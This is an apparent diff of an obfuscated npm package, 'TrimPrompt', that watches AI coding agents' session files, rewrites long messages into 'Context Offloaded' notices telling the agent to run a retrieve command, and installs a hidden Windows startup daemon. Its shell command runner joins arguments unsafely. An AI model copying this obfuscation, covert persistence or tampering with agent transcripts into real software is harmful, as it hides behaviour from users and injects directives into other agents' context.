__setModuleDefault(_0x1fff5a,_0x3e7853),_0x1fff5a;};}());Object[a0_0x319b5a(0xb3)](exports,'__esModule',{'value':!![]}),exports['executeCommand']=executeCommand;const child_process_1=require(a0_0x319b5a(0xbd)),path=__importStar(require(a0_0x319b5a(0x99))),os=__importStar(require('os'));function a0_0xc2ee(_0x3e259c,_0x3f3e1e){var _0x58bff1=a0_0x58bf();return a0_0xc2ee=function(_0xc2ee8c,_0x61e9b6){_0xc2ee8c=_0xc2ee8c-0x97;var _0x8c8828=_0x58bff1[_0xc2ee8c];return _0x8c8828;},a0_0xc2ee(_0x3e259c,_0x3f3e1e);}function executeCommand(_0x513de9,_0x23fc6d){return new Promise(_0x13149b=>{var _0x52c4c1=a0_0xc2ee;const _0x4c8912=path['join'](os[_0x52c4c1(0x9a)](),_0x52c4c1(0xaa),_0x52c4c1(0x9e)),_0x36aab5=(process[_0x52c4c1(0xb5)]['PATH']||'')[_0x52c4c1(0xb2)](path[_0x52c4c1(0xa9)])[_0x52c4c1(0xb0)](_0x417721=>_0x417721[_0x52c4c1(0xab)]()[_0x52c4c1(0x9b)]()!==_0x4c8912[_0x52c4c1(0x9b)]())[_0x52c4c1(0xbe)](path[_0x52c4c1(0xa9)]),_0x320822={...process[_0x52c4c1(0xb5)],'PATH':_0x36aab5,'TRIMPROMPT_DISABLED':'1'},_0xb3d01e=_0x23fc6d[_0x52c4c1(0x9d)](_0x251cfe=>_0x251cfe['includes']('\x20')&&!_0x251cfe['startsWith']('\x22')?'\x22'+_0x251cfe+'\x22':_0x251cfe),_0x7c57c1=[_0x513de9,..._0xb3d01e][_0x52c4c1(0xbe)]('\x20'),_0x391d32=(0x0,child_process_1[_0x52c4c1(0xbb)])(_0x7c57c1,[],{'stdio':['inherit',_0x52c4c1(0x98),_0x52c4c1(0x98)],'shell':!![],'env':_0x320822});let _0x101735='',_0x3dd5c0='';_0x391d32['stdout']?.['on'](_0x52c4c1(0xad),_0x25e116=>{var _0x4b2f33=_0x52c4c1;_0x101735+=_0x25e116[_0x4b2f33(0xbc)]();}),_0x391d32[_0x52c4c1(0xa1)]?.['on'](_0x52c4c1(0xad),_0x169224=>{var _0x216997=_0x52c4c1;_0x3dd5c0+=_0x169224[_0x216997(0xbc)]();}),_0x391d32['on'](_0x52c4c1(0xb1),_0xa46ec2=>{var _0x3e2af8=_0x52c4c1;_0x13149b({'exitCode':0x1,'stdout':'','stderr':_0x3e2af8(0xa4)+_0x513de9+'\x22:\x20'+_0xa46ec2[_0x3e2af8(0xa6)]});}),_0x391d32['on']('close',_0x3f5647=>{_0x13149b({'exitCode':_0x3f5647??0x0,'stdout':_0x101735,'stderr':_0x3dd5c0});});});}
1
+ 'use strict';var a0_0x421c92=a0_0x2047;(function(_0x4ec1c6,_0x4157a4){var _0x2664b7=a0_0x2047,_0x1c486f=_0x4ec1c6();while(!![]){try{var _0x49c336=parseInt(_0x2664b7(0x1e1))/0x1*(parseInt(_0x2664b7(0x1de))/0x2)+parseInt(_0x2664b7(0x1d8))/0x3*(-parseInt(_0x2664b7(0x1c2))/0x4)+-parseInt(_0x2664b7(0x1e9))/0x5+parseInt(_0x2664b7(0x1eb))/0x6+parseInt(_0x2664b7(0x1c9))/0x7+-parseInt(_0x2664b7(0x1cc))/0x8*(-parseInt(_0x2664b7(0x1d2))/0x9)+parseInt(_0x2664b7(0x1cf))/0xa*(-parseInt(_0x2664b7(0x1c6))/0xb);if(_0x49c336===_0x4157a4)break;else _0x1c486f['push'](_0x1c486f['shift']());}catch(_0x1cfb42){_0x1c486f['push'](_0x1c486f['shift']());}}}(a0_0x326f,0x60011));function a0_0x2047(_0x17230f,_0x4faa44){_0x17230f=_0x17230f-0x1c0;var _0x326f6f=a0_0x326f();var _0x2047a2=_0x326f6f[_0x17230f];return _0x2047a2;}function a0_0x326f(){var _0x4e3e83=['defineProperty','trim','shims','child_process','map','homedir','3681250gErkiw','default','2478162zkYByG','__setModuleDefault','message','path','filter','5480RPttXH','executeCommand','join','startsWith','55rCitKl','error','stderr','5502714VejWyl','__esModule','__createBinding','1535432YfHlyk','create','close','756140ZFmULH','data','length','9jhYOog','hasOwnProperty','pipe','delimiter','includes','toLowerCase','1047PZpSbC','stdout','call','\x22:\x20','configurable','__importStar','47570FtrEut','.trimprompt','inherit','25zCQYfX','getOwnPropertyNames'];a0_0x326f=function(){return _0x4e3e83;};return a0_0x326f();}var __createBinding=this&&this[a0_0x421c92(0x1cb)]||(Object['create']?function(_0x3e906b,_0x138cbc,_0x59292f,_0x15da09){var _0x472999=a0_0x421c92;if(_0x15da09===undefined)_0x15da09=_0x59292f;var _0x1caac4=Object['getOwnPropertyDescriptor'](_0x138cbc,_0x59292f);(!_0x1caac4||('get'in _0x1caac4?!_0x138cbc[_0x472999(0x1ca)]:_0x1caac4['writable']||_0x1caac4[_0x472999(0x1dc)]))&&(_0x1caac4={'enumerable':!![],'get':function(){return _0x138cbc[_0x59292f];}}),Object[_0x472999(0x1e3)](_0x3e906b,_0x15da09,_0x1caac4);}:function(_0x33d971,_0x980f1e,_0x39968e,_0x2a10e0){if(_0x2a10e0===undefined)_0x2a10e0=_0x39968e;_0x33d971[_0x2a10e0]=_0x980f1e[_0x39968e];}),__setModuleDefault=this&&this[a0_0x421c92(0x1ec)]||(Object[a0_0x421c92(0x1cd)]?function(_0x24b1a3,_0x15e177){var _0x52462f=a0_0x421c92;Object['defineProperty'](_0x24b1a3,_0x52462f(0x1ea),{'enumerable':!![],'value':_0x15e177});}:function(_0x31942e,_0x54a7c5){var _0x9224e9=a0_0x421c92;_0x31942e[_0x9224e9(0x1ea)]=_0x54a7c5;}),__importStar=this&&this[a0_0x421c92(0x1dd)]||(function(){var _0x15b433=function(_0x3c6c78){var _0x471ec4=a0_0x2047;return _0x15b433=Object[_0x471ec4(0x1e2)]||function(_0x3ab5d0){var _0x1066c1=_0x471ec4,_0x2f59cb=[];for(var _0x4a7393 in _0x3ab5d0)if(Object['prototype'][_0x1066c1(0x1d3)][_0x1066c1(0x1da)](_0x3ab5d0,_0x4a7393))_0x2f59cb[_0x2f59cb[_0x1066c1(0x1d1)]]=_0x4a7393;return _0x2f59cb;},_0x15b433(_0x3c6c78);};return function(_0xfc6d7f){var _0x5b9abf=a0_0x2047;if(_0xfc6d7f&&_0xfc6d7f[_0x5b9abf(0x1ca)])return _0xfc6d7f;var _0x22e26c={};if(_0xfc6d7f!=null){for(var _0x37904f=_0x15b433(_0xfc6d7f),_0x2c2129=0x0;_0x2c2129<_0x37904f['length'];_0x2c2129++)if(_0x37904f[_0x2c2129]!==_0x5b9abf(0x1ea))__createBinding(_0x22e26c,_0xfc6d7f,_0x37904f[_0x2c2129]);}return __setModuleDefault(_0x22e26c,_0xfc6d7f),_0x22e26c;};}());Object[a0_0x421c92(0x1e3)](exports,a0_0x421c92(0x1ca),{'value':!![]}),exports[a0_0x421c92(0x1c3)]=executeCommand;const child_process_1=require(a0_0x421c92(0x1e6)),path=__importStar(require(a0_0x421c92(0x1c0))),os=__importStar(require('os'));function executeCommand(_0x14f3f6,_0x585c53){return new Promise(_0x5ebb1d=>{var _0x2d7e8a=a0_0x2047;const _0x389035=path[_0x2d7e8a(0x1c4)](os[_0x2d7e8a(0x1e8)](),_0x2d7e8a(0x1df),_0x2d7e8a(0x1e5)),_0x51c622=(process.env.PATH||'')['split'](path['delimiter'])[_0x2d7e8a(0x1c1)](_0x578590=>_0x578590[_0x2d7e8a(0x1e4)]()[_0x2d7e8a(0x1d7)]()!==_0x389035[_0x2d7e8a(0x1d7)]())[_0x2d7e8a(0x1c4)](path[_0x2d7e8a(0x1d5)]),_0x3bba94={...process.env,'PATH':_0x51c622,'TRIMPROMPT_DISABLED':'1'},_0x1ecd74=_0x585c53[_0x2d7e8a(0x1e7)](_0x4a9a68=>_0x4a9a68[_0x2d7e8a(0x1d6)]('\x20')&&!_0x4a9a68[_0x2d7e8a(0x1c5)]('\x22')?'\x22'+_0x4a9a68+'\x22':_0x4a9a68),_0x2cffa4=[_0x14f3f6,..._0x1ecd74][_0x2d7e8a(0x1c4)]('\x20'),_0x37ab0b=(0x0,child_process_1['spawn'])(_0x2cffa4,[],{'stdio':[_0x2d7e8a(0x1e0),_0x2d7e8a(0x1d4),_0x2d7e8a(0x1d4)],'shell':!![],'env':_0x3bba94});let _0x25e992='',_0x3ad377='';_0x37ab0b[_0x2d7e8a(0x1d9)]?.['on'](_0x2d7e8a(0x1d0),_0x1081fe=>{_0x25e992+=_0x1081fe['toString']();}),_0x37ab0b[_0x2d7e8a(0x1c8)]?.['on'](_0x2d7e8a(0x1d0),_0x2baede=>{_0x3ad377+=_0x2baede['toString']();}),_0x37ab0b['on'](_0x2d7e8a(0x1c7),_0x26e97c=>{var _0x436712=_0x2d7e8a;_0x5ebb1d({'exitCode':0x1,'stdout':'','stderr':'Failed\x20to\x20spawn\x20command\x20\x22'+_0x14f3f6+_0x436712(0x1db)+_0x26e97c[_0x436712(0x1ed)]});}),_0x37ab0b['on'](_0x2d7e8a(0x1ce),_0x5f420d=>{_0x5ebb1d({'exitCode':_0x5f420d??0x0,'stdout':_0x25e992,'stderr':_0x3ad377});});});}
package/file-watcher.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x403f(){const _0x4e1992=['savedTokens','5018881cjFWkS','cortex','context','30358440gXdnhq','cache','TrimPrompt\x20Cache\x20Engine','.webp','raw_tokens','existsSync','44VbpxkO','create','\x22\x20&\x20\x22\x22\x22\x20ui\x20--headless\x22,\x200,\x20False\x0a','\x20tokens).','media__','isArray','Roaming','configurable','Windows','statSync','14tQoyhE','.codex','saveChunk','conv_','6kMrwpG','cli.js','claude','text','isFile','messages','string','getLatestSessionFile','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20The\x20raw\x20content\x20of\x20this\x20step\x20(','processSessionFile','codex','mtimeMs','.aider.chat.history.md','Microsoft','workspaceStorage','extname','basename','defineProperty','`\x0a>\x20If\x20required,\x20execute:\x20`trim\x20retrieve\x20','.trimprompt','cursor','.png','opencode','compressed_tokens','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','stringify','.pb','sessions_state.json','.jpeg','conv:','endsWith','set','image_','toISOString','github-copilot-cli','split','.gemini','isDirectory','lineCount','loadSessionsState','officialCompactSaved','Summary:\x20Text\x20block\x20offloaded\x20(','.wal','startWatcherDaemon','./tracker','round','6384195UyKqff','config.json','openclaw','.tmp','./cache-manager','includes','modified','darwin','copilot','.cortex','Application\x20Support','get','length','parse','object','content','chunk_id','.jpg','ceil','default','__importStar','utf8','max','AppData','.shm','message','\x20tokens)\x20was\x20moved\x20to\x20local\x20side-cache.\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','writeFileSync','gemini','User','activeSavedTokens','filter','Library','Set\x20WshShell\x20=\x20CreateObject(\x22WScript.Shell\x22)\x0aWshShell.Run\x20\x22node\x20\x22\x22\x22\x20&\x20\x22','toLowerCase','custom_storage_paths','mkdirSync','.jsonl','./hooks/claude-hook','active_turn','aider','live-conv','join','sessions','cwd','82868yxbAmQ','.dat','logExecution','call','replace','`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20','fullPath','readdirSync','matchAll','__esModule','sideCacheSaved','__createBinding','loadConfig','name','Local','Gemini','TrimPromptDaemon.vbs','382456LoSQVS','has','Cursor','Programs','history','__setModuleDefault','.json1','platform','push','.claude','Start\x20Menu','projects','startsWith','.lock','readFileSync','tracker','conversation_toggles','.config','571050BUMcrj','hasOwnProperty','getOwnPropertyNames','installWindowsStartupService','homedir','size','198249DMnCYA','path','win32'];a0_0x403f=function(){return _0x4e1992;};return a0_0x403f();}const a0_0x57d459=a0_0x8518;(function(_0x4d7ff7,_0x51685d){const _0x3eb05a=a0_0x8518,_0xffaec9=_0x4d7ff7();while(!![]){try{const _0x1e60d0=-parseInt(_0x3eb05a(0x11e))/0x1*(parseInt(_0x3eb05a(0xde))/0x2)+parseInt(_0x3eb05a(0x107))/0x3*(-parseInt(_0x3eb05a(0x114))/0x4)+parseInt(_0x3eb05a(0x101))/0x5+parseInt(_0x3eb05a(0x122))/0x6*(-parseInt(_0x3eb05a(0x10b))/0x7)+-parseInt(_0x3eb05a(0xef))/0x8+-parseInt(_0x3eb05a(0xb1))/0x9+parseInt(_0x3eb05a(0x10e))/0xa;if(_0x1e60d0===_0x51685d)break;else _0xffaec9['push'](_0xffaec9['shift']());}catch(_0x2647f){_0xffaec9['push'](_0xffaec9['shift']());}}}(a0_0x403f,0x5a118));var __createBinding=this&&this[a0_0x57d459(0xe9)]||(Object[a0_0x57d459(0x115)]?function(_0x2a405b,_0x290b32,_0x12fc60,_0x3a3b15){const _0x320293=a0_0x57d459;if(_0x3a3b15===undefined)_0x3a3b15=_0x12fc60;var _0x9de4d0=Object['getOwnPropertyDescriptor'](_0x290b32,_0x12fc60);(!_0x9de4d0||(_0x320293(0xbc)in _0x9de4d0?!_0x290b32['__esModule']:_0x9de4d0['writable']||_0x9de4d0[_0x320293(0x11b)]))&&(_0x9de4d0={'enumerable':!![],'get':function(){return _0x290b32[_0x12fc60];}}),Object[_0x320293(0x133)](_0x2a405b,_0x3a3b15,_0x9de4d0);}:function(_0x221fef,_0x9d9a58,_0x4051cc,_0x6bddbc){if(_0x6bddbc===undefined)_0x6bddbc=_0x4051cc;_0x221fef[_0x6bddbc]=_0x9d9a58[_0x4051cc];}),__setModuleDefault=this&&this[a0_0x57d459(0xf4)]||(Object[a0_0x57d459(0x115)]?function(_0x451e6b,_0xb93b1){const _0x2a0a5b=a0_0x57d459;Object[_0x2a0a5b(0x133)](_0x451e6b,'default',{'enumerable':!![],'value':_0xb93b1});}:function(_0x1ec0bb,_0x387988){const _0x1c97b7=a0_0x57d459;_0x1ec0bb[_0x1c97b7(0xc4)]=_0x387988;}),__importStar=this&&this[a0_0x57d459(0xc5)]||(function(){var _0x26f3ce=function(_0x1e96cd){const _0x2f3a55=a0_0x8518;return _0x26f3ce=Object[_0x2f3a55(0x103)]||function(_0x20dffa){const _0x5eb613=_0x2f3a55;var _0x16f92b=[];for(var _0x2dec5e in _0x20dffa)if(Object['prototype'][_0x5eb613(0x102)][_0x5eb613(0xe1)](_0x20dffa,_0x2dec5e))_0x16f92b[_0x16f92b[_0x5eb613(0xbd)]]=_0x2dec5e;return _0x16f92b;},_0x26f3ce(_0x1e96cd);};return function(_0x3480dd){const _0x2c4f01=a0_0x8518;if(_0x3480dd&&_0x3480dd[_0x2c4f01(0xe7)])return _0x3480dd;var _0x27ac06={};if(_0x3480dd!=null){for(var _0x3d660d=_0x26f3ce(_0x3480dd),_0x3901b2=0x0;_0x3901b2<_0x3d660d[_0x2c4f01(0xbd)];_0x3901b2++)if(_0x3d660d[_0x3901b2]!==_0x2c4f01(0xc4))__createBinding(_0x27ac06,_0x3480dd,_0x3d660d[_0x3901b2]);}return __setModuleDefault(_0x27ac06,_0x3480dd),_0x27ac06;};}());Object[a0_0x57d459(0x133)](exports,a0_0x57d459(0xe7),{'value':!![]}),exports[a0_0x57d459(0xea)]=loadConfig,exports['saveConfig']=saveConfig,exports['getAgentStoragePaths']=getAgentStoragePaths,exports[a0_0x57d459(0x129)]=getLatestSessionFile,exports[a0_0x57d459(0xaa)]=loadSessionsState,exports[a0_0x57d459(0x12b)]=processSessionFile,exports[a0_0x57d459(0x104)]=installWindowsStartupService,exports[a0_0x57d459(0xae)]=startWatcherDaemon;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x57d459(0x108))),os=__importStar(require('os')),cache_manager_1=require(a0_0x57d459(0xb5)),tracker_1=require(a0_0x57d459(0xaf)),baseDir=path[a0_0x57d459(0xdb)](os[a0_0x57d459(0x105)](),a0_0x57d459(0x135)),configPath=path[a0_0x57d459(0xdb)](baseDir,a0_0x57d459(0xb2)),DEFAULT_CONFIG={'autostart_enabled':!![],'conversation_toggles':{'conv_claude':!![],'conv_codex':!![],'conv_cursor':!![],'conv_aider':!![],'conv_copilot':!![],'conv_openclaw':!![],'conv_opencode':!![],'conv_cortex':!![]},'custom_storage_paths':{'claude':null,'codex':null,'cursor':null,'aider':null,'copilot':null,'openclaw':null,'opencode':null,'cortex':null}};function a0_0x8518(_0x52e711,_0x3bcc7a){const _0x403fe0=a0_0x403f();return a0_0x8518=function(_0x8518b6,_0x1668fd){_0x8518b6=_0x8518b6-0x9b;let _0x317a76=_0x403fe0[_0x8518b6];return _0x317a76;},a0_0x8518(_0x52e711,_0x3bcc7a);}function loadConfig(){const _0x6a49ff=a0_0x57d459;try{if(!fs[_0x6a49ff(0x113)](baseDir))fs[_0x6a49ff(0xd5)](baseDir,{'recursive':!![]});if(fs[_0x6a49ff(0x113)](configPath)){const _0x1cfaba=JSON[_0x6a49ff(0xbe)](fs[_0x6a49ff(0xfd)](configPath,'utf8'));return{...DEFAULT_CONFIG,..._0x1cfaba,'conversation_toggles':{...DEFAULT_CONFIG['conversation_toggles'],..._0x1cfaba[_0x6a49ff(0xff)]||{}},'custom_storage_paths':{...DEFAULT_CONFIG[_0x6a49ff(0xd4)],..._0x1cfaba[_0x6a49ff(0xd4)]||{}}};}}catch{}return DEFAULT_CONFIG;}function saveConfig(_0x3dea78){const _0x26eb13=a0_0x57d459,_0xd5b58d=loadConfig(),_0x5d63f4={..._0xd5b58d,..._0x3dea78,'conversation_toggles':{..._0xd5b58d[_0x26eb13(0xff)],..._0x3dea78[_0x26eb13(0xff)]||{}},'custom_storage_paths':{..._0xd5b58d[_0x26eb13(0xd4)],..._0x3dea78[_0x26eb13(0xd4)]||{}}};try{if(!fs[_0x26eb13(0x113)](baseDir))fs[_0x26eb13(0xd5)](baseDir,{'recursive':!![]});fs['writeFileSync'](configPath,JSON['stringify'](_0x5d63f4,null,0x2),_0x26eb13(0xc6));}catch{}return _0x5d63f4;}function getAgentStoragePaths(_0x51504d){const _0x2c420c=a0_0x57d459,_0x8fa487=loadConfig(),_0x2a1849=_0x8fa487[_0x2c420c(0xd4)][_0x51504d];if(_0x2a1849&&fs[_0x2c420c(0x113)](_0x2a1849))return[_0x2a1849];const _0x32eb16=os[_0x2c420c(0x105)](),_0x40e353=process[_0x2c420c(0xf6)]==='win32',_0x1fd419=process[_0x2c420c(0xf6)]===_0x2c420c(0xb8);switch(_0x51504d){case'claude':return[path[_0x2c420c(0xdb)](_0x32eb16,'.claude',_0x2c420c(0xfa)),path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0xf8),_0x2c420c(0xf3))];case _0x2c420c(0x12c):return[path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0x11f),_0x2c420c(0xdc)),path['join'](_0x32eb16,'AppData',_0x2c420c(0x11a),'Codex')];case'gemini':return[path[_0x2c420c(0xdb)](_0x32eb16,'.gemini','antigravity'),path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0xa7)),path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0xc8),_0x2c420c(0x11a),_0x2c420c(0xed)),path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0x100),_0x2c420c(0xcd))];case _0x2c420c(0x136):if(_0x40e353)return[path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0xc8),_0x2c420c(0x11a),_0x2c420c(0xf1),_0x2c420c(0xce),'workspaceStorage')];if(_0x1fd419)return[path['join'](_0x32eb16,_0x2c420c(0xd1),_0x2c420c(0xbb),_0x2c420c(0xf1),'User','workspaceStorage')];return[path['join'](_0x32eb16,_0x2c420c(0x100),_0x2c420c(0xf1),_0x2c420c(0xce),_0x2c420c(0x130))];case'aider':return[process[_0x2c420c(0xdd)](),path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0x12e))];case'copilot':if(_0x40e353)return[path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0xc8),_0x2c420c(0xec),_0x2c420c(0xa5))];return[path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0x100),_0x2c420c(0xa5))];case'openclaw':return[path[_0x2c420c(0xdb)](_0x32eb16,'.openclaw','storage'),path[_0x2c420c(0xdb)](process['cwd'](),'.openclaw',_0x2c420c(0x10d))];case _0x2c420c(0x138):return[path['join'](_0x32eb16,'.opencode',_0x2c420c(0xdc))];case _0x2c420c(0x10c):return[path[_0x2c420c(0xdb)](_0x32eb16,_0x2c420c(0xba),_0x2c420c(0x10f))];default:return[];}}function getLatestSessionFile(_0x3430bf){const _0x44424b=a0_0x57d459,_0x6dbf61=getAgentStoragePaths(_0x3430bf);let _0x3de25c=null,_0x128496=0x0,_0x55c80b=null,_0xda118f=null;for(const _0x1e0dc9 of _0x6dbf61){if(fs['existsSync'](_0x1e0dc9)){if(!_0xda118f)_0xda118f=_0x1e0dc9;const _0x46b4ae=(_0x178301,_0x4bc383=0x0)=>{const _0x3ff068=a0_0x8518;if(_0x4bc383>0x3)return;try{const _0x11d4bf=fs[_0x3ff068(0xe5)](_0x178301,{'withFileTypes':!![]});for(const _0x5ea6c0 of _0x11d4bf){const _0x3f0ee3=path['join'](_0x178301,_0x5ea6c0['name']);if(_0x5ea6c0[_0x3ff068(0xa8)]())_0x46b4ae(_0x3f0ee3,_0x4bc383+0x1);else{if(_0x5ea6c0[_0x3ff068(0x126)]()&&!_0x5ea6c0[_0x3ff068(0xeb)][_0x3ff068(0xfb)]('.')){const _0x3e5478=_0x5ea6c0[_0x3ff068(0xeb)][_0x3ff068(0xd3)]();if(_0x3e5478['endsWith'](_0x3ff068(0x137))||_0x3e5478[_0x3ff068(0xa1)](_0x3ff068(0xc2))||_0x3e5478[_0x3ff068(0xa1)](_0x3ff068(0x9f))||_0x3e5478[_0x3ff068(0xa1)]('.gif')||_0x3e5478['endsWith'](_0x3ff068(0x111))||_0x3e5478['endsWith'](_0x3ff068(0x9d))||_0x3e5478[_0x3ff068(0xa1)](_0x3ff068(0xad))||_0x3e5478[_0x3ff068(0xa1)](_0x3ff068(0xc9))||_0x3e5478[_0x3ff068(0xa1)](_0x3ff068(0xb4))||_0x3e5478['endsWith'](_0x3ff068(0xfc))||_0x3e5478[_0x3ff068(0xa1)](_0x3ff068(0xdf))||_0x3e5478[_0x3ff068(0xfb)](_0x3ff068(0x118))||_0x3e5478[_0x3ff068(0xfb)](_0x3ff068(0xa3)))continue;const _0x5a7f5b=fs[_0x3ff068(0x11d)](_0x3f0ee3);_0x5a7f5b[_0x3ff068(0x12d)]>_0x128496&&(_0x128496=_0x5a7f5b[_0x3ff068(0x12d)],_0x3de25c=_0x5ea6c0[_0x3ff068(0xeb)],_0x55c80b=_0x3f0ee3,_0xda118f=_0x1e0dc9);}}}}catch{}};_0x46b4ae(_0x1e0dc9);}}return{'fileName':_0x3de25c,'lastModified':_0x128496>0x0?new Date(_0x128496)[_0x44424b(0xa4)]():null,'fullPath':_0x55c80b,'dirPath':_0xda118f};}const debounceTimers=new Map(),lastLoggedTimes=new Map();function compressMessageContent(_0x4b0c88,_0x581c77,_0x35247e){const _0x3f015f=a0_0x57d459;let _0x5630bb=![],_0x5b3404=0x0;if(!_0x4b0c88)return{'modified':_0x5630bb,'savedTokens':_0x5b3404};const _0x2df728=_0x43e3ea=>_0x43e3ea['replace'](/\r\n/g,'\x0a')[_0x3f015f(0xe2)](/\n{3,}/g,'\x0a\x0a');if(typeof _0x4b0c88[_0x3f015f(0xc0)]==='string'){let _0x290ec1=_0x4b0c88[_0x3f015f(0xc0)],_0x2b219a=_0x2df728(_0x290ec1);_0x2b219a['length']<_0x290ec1['length']&&(_0x4b0c88[_0x3f015f(0xc0)]=_0x2b219a,_0x5630bb=!![],_0x5b3404+=Math[_0x3f015f(0xc3)]((_0x290ec1[_0x3f015f(0xbd)]-_0x2b219a[_0x3f015f(0xbd)])/0x4));if(_0x4b0c88[_0x3f015f(0xc0)]['length']>0x12c&&!_0x4b0c88[_0x3f015f(0xc0)]['includes'](_0x3f015f(0x110))){const _0x4fc678='Summary:\x20Content\x20offloaded\x20('+Math[_0x3f015f(0xc3)](_0x4b0c88[_0x3f015f(0xc0)]['length']/0x4)+'\x20tokens).',_0xa64436=(0x0,cache_manager_1[_0x3f015f(0x120)])(_0x581c77,_0x35247e,_0x4b0c88[_0x3f015f(0xc0)],_0x4fc678);_0x4b0c88[_0x3f015f(0xc0)]=_0x3f015f(0x12a)+_0xa64436[_0x3f015f(0x112)]+_0x3f015f(0xcb)+_0xa64436[_0x3f015f(0xc1)]+_0x3f015f(0x134)+_0xa64436[_0x3f015f(0xc1)]+'`\x0a',_0x5630bb=!![],_0x5b3404+=Math[_0x3f015f(0xc7)](0x0,_0xa64436[_0x3f015f(0x112)]-_0xa64436[_0x3f015f(0x139)]);}}else{if(Array[_0x3f015f(0x119)](_0x4b0c88['content']))for(const _0x15db6d of _0x4b0c88[_0x3f015f(0xc0)]){if(_0x15db6d&&typeof _0x15db6d==='object'){if(typeof _0x15db6d[_0x3f015f(0x125)]===_0x3f015f(0x128)){let _0x743363=_0x15db6d[_0x3f015f(0x125)],_0x21dcf7=_0x2df728(_0x743363);_0x21dcf7[_0x3f015f(0xbd)]<_0x743363[_0x3f015f(0xbd)]&&(_0x15db6d['text']=_0x21dcf7,_0x5630bb=!![],_0x5b3404+=Math['ceil']((_0x743363[_0x3f015f(0xbd)]-_0x21dcf7['length'])/0x4));if(_0x15db6d['text']['length']>0x12c&&!_0x15db6d[_0x3f015f(0x125)]['includes'](_0x3f015f(0x110))){const _0x4f0f2f=_0x3f015f(0xac)+Math[_0x3f015f(0xc3)](_0x15db6d[_0x3f015f(0x125)][_0x3f015f(0xbd)]/0x4)+_0x3f015f(0x117),_0x325afa=(0x0,cache_manager_1[_0x3f015f(0x120)])(_0x581c77,_0x35247e,_0x15db6d[_0x3f015f(0x125)],_0x4f0f2f);_0x15db6d['text']=_0x3f015f(0x9b)+_0x325afa['chunk_id']+_0x3f015f(0xe3)+_0x325afa[_0x3f015f(0xc1)]+'`\x0a',_0x5630bb=!![],_0x5b3404+=Math['max'](0x0,_0x325afa['raw_tokens']-_0x325afa[_0x3f015f(0x139)]);}}else{if(typeof _0x15db6d[_0x3f015f(0xc0)]===_0x3f015f(0x128)){let _0x36bcc4=_0x15db6d[_0x3f015f(0xc0)],_0x1a4d9c=_0x2df728(_0x36bcc4);_0x1a4d9c[_0x3f015f(0xbd)]<_0x36bcc4[_0x3f015f(0xbd)]&&(_0x15db6d['content']=_0x1a4d9c,_0x5630bb=!![],_0x5b3404+=Math[_0x3f015f(0xc3)]((_0x36bcc4[_0x3f015f(0xbd)]-_0x1a4d9c['length'])/0x4));if(_0x15db6d[_0x3f015f(0xc0)]['length']>0x12c&&!_0x15db6d['content'][_0x3f015f(0xb6)](_0x3f015f(0x110))){const _0x2127bb='Summary:\x20Tool\x20result\x20offloaded\x20('+Math['ceil'](_0x15db6d[_0x3f015f(0xc0)][_0x3f015f(0xbd)]/0x4)+_0x3f015f(0x117),_0x52b529=(0x0,cache_manager_1[_0x3f015f(0x120)])(_0x581c77,_0x35247e,_0x15db6d['content'],_0x2127bb);_0x15db6d[_0x3f015f(0xc0)]=_0x3f015f(0x9b)+_0x52b529[_0x3f015f(0xc1)]+_0x3f015f(0xe3)+_0x52b529['chunk_id']+'`\x0a',_0x5630bb=!![],_0x5b3404+=Math[_0x3f015f(0xc7)](0x0,_0x52b529[_0x3f015f(0x112)]-_0x52b529['compressed_tokens']);}}}}}}return{'modified':_0x5630bb,'savedTokens':_0x5b3404};}const sessionsStatePath=path['join'](baseDir,a0_0x57d459(0x9e));let sessionsStateMemoryCache=null;function loadSessionsState(){const _0xef13a0=a0_0x57d459;try{if(fs[_0xef13a0(0x113)](sessionsStatePath)){const _0x3d215b=JSON[_0xef13a0(0xbe)](fs[_0xef13a0(0xfd)](sessionsStatePath,_0xef13a0(0xc6)));if(_0x3d215b&&typeof _0x3d215b===_0xef13a0(0xbf))return sessionsStateMemoryCache=_0x3d215b,_0x3d215b;}}catch{}return sessionsStateMemoryCache||{};}function saveSessionStateItem(_0x15e0ff,_0x519e36,_0x3c81dc,_0x21351f=0x0,_0x202017=0x0){const _0x2bf111=a0_0x57d459;try{const _0x27ce42=loadSessionsState();_0x27ce42[_0x15e0ff]={'lineCount':_0x519e36,'activeSavedTokens':_0x3c81dc,'sideCacheSaved':_0x21351f,'officialCompactSaved':_0x202017},sessionsStateMemoryCache=_0x27ce42;if(!fs[_0x2bf111(0x113)](baseDir))fs[_0x2bf111(0xd5)](baseDir,{'recursive':!![]});const _0x3e0925=sessionsStatePath+_0x2bf111(0xb4);fs[_0x2bf111(0xcc)](_0x3e0925,JSON[_0x2bf111(0x9c)](_0x27ce42,null,0x2),_0x2bf111(0xc6)),fs['renameSync'](_0x3e0925,sessionsStatePath);}catch{}}function processSessionFile(_0x474771,_0x39c4e6){const _0x27efd0=a0_0x57d459;try{if(!fs[_0x27efd0(0x113)](_0x474771))return;const _0x5b5524=fs[_0x27efd0(0x11d)](_0x474771);if(_0x5b5524[_0x27efd0(0xa8)]()||_0x5b5524[_0x27efd0(0x106)]===0x0)return;const _0x1e056b=loadConfig(),_0x38dced='conv_'+_0x39c4e6;if(_0x1e056b[_0x27efd0(0xff)][_0x38dced]===![])return;const _0x2ee24c=fs['readFileSync'](_0x474771,'utf8');let _0x25c58c=![],_0x180bed=_0x2ee24c,_0x2e007a=0x0;const _0x4b411e=path[_0x27efd0(0x131)](_0x474771)[_0x27efd0(0xd3)](),_0x487762=path[_0x27efd0(0x132)](_0x474771,_0x4b411e);let 